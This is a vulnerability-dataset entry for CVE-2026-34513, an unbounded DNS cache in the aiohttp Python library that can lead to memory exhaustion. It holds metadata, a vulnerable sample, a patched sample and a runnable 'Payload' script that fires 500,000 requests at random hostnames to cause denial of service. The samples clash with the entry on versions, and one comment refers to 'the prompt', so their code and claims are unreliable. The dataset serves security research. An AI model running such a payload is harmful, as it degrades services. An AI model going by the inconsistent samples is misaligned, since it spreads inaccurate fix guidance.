VAITP Dataset

← Back to the dataset

CVE-2026-34513

AIOHTTP unbounded DNS cache leads to excessive memory use and DoS.

  • CVSS 2.7
  • CWE-770
  • Resource Management
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, an unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation. This issue has been patched in version 3.13.4.

CVSS base score
2.7
Published
2026-04-01
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade AIOHTTP to version 3.13.4 or later.

Vulnerable code sample

import asyncio
import aiohttp
import uuid

async def make_request(session, url):
    try:
        # The request itself is what matters, as it triggers the internal DNS lookup.
        # We set a short timeout because we expect these domains not to exist.
        async with session.get(url, timeout=1) as response:
            await response.read()
    except Exception:
        # We expect errors (e.g., timeout, cannot resolve host), which is fine.
        # In a vulnerable implementation, even failed lookups can be cached.
        pass

async def main():
    # In a vulnerable version (e.g., prior to 3.8.x releases which started adding limits),
    # the default TCPConnector used by ClientSession had an unbounded DNS cache.
    async with aiohttp.ClientSession() as session:
        tasks = []
        # We will create a large number of requests to unique hostnames.
        # Each unique hostname forces a new DNS lookup that gets stored in the unbounded cache.
        for i in range(500000):
            # Generate a unique hostname to ensure the cache is filled with new entries.
            unique_hostname = f"{uuid.uuid4()}.non-existent-vulnerable-domain.com"
            url = f"http://{unique_hostname}"
            task = asyncio.create_task(make_request(session, url))
            tasks.append(task)

        # Running these tasks concurrently will quickly fill the DNS cache.
        await asyncio.gather(*tasks)

if __name__ == "__main__":
    # If this script were run using a vulnerable version of aiohttp,
    # you could monitor the process's memory usage and observe it
    # growing continuously until all requests are done, demonstrating
    # the memory exhaustion and potential for a Denial of Service.
    asyncio.run(main())

Patched code sample

import asyncio
import aiohttp

async def demonstrate_fixed_dns_cache():
    """
    Demonstrates the fix for an unbounded DNS cache by creating a client
    with a resolver that has a cache size limit.
    """

    # The fix is to apply a limit to the DNS resolver's cache.
    # Here, we limit the cache to 100 entries.
    resolver_with_limit = aiohttp.AsyncResolver(limit=100)

    # The custom resolver is passed to the ClientSession via a TCPConnector.
    connector = aiohttp.TCPConnector(resolver=resolver_with_limit)

    # Any session created with this connector will use the bounded DNS cache,
    # preventing the memory usage from growing indefinitely.
    async with aiohttp.ClientSession(connector=connector) as session:
        print(f"ClientSession created with a bounded DNS cache (limit={resolver_with_limit.limit}).")
        
        try:
            # Making a request to show the session is functional.
            url = "https://www.python.org"
            async with session.get(url) as response:
                print(f"Request to {url} succeeded with status: {response.status}")
        except aiohttp.ClientError as e:
            print(f"An error occurred during the request: {e}")

    # The connector must be closed to release its resources.
    await connector.close()


if __name__ == "__main__":
    # To run this code, a version of aiohttp that supports the 'limit'
    # parameter for AsyncResolver is required (e.g., aiohttp >= 3.9.2).
    # The version mentioned in the prompt (3.13.4) includes this fix.
    asyncio.run(demonstrate_fixed_dns_cache())

Payload

import asyncio
import aiohttp
import uuid

async def make_request(session, url):
    try:
        async with session.get(url, timeout=5) as response:
            pass
    except Exception:
        pass

async def main():
    num_requests = 500000 
    
    async with aiohttp.ClientSession() as session:
        tasks = []
        for _ in range(num_requests):
            unique_url = f"http://{uuid.uuid4()}.dos-attack.local"
            task = asyncio.create_task(make_request(session, unique_url))
            tasks.append(task)
        
        await asyncio.gather(*tasks)

if __name__ == "__main__":
    asyncio.run(main())

Cite this entry

@misc{vaitp:cve202634513,
  title        = {{AIOHTTP unbounded DNS cache leads to excessive memory use and DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34513},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34513/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::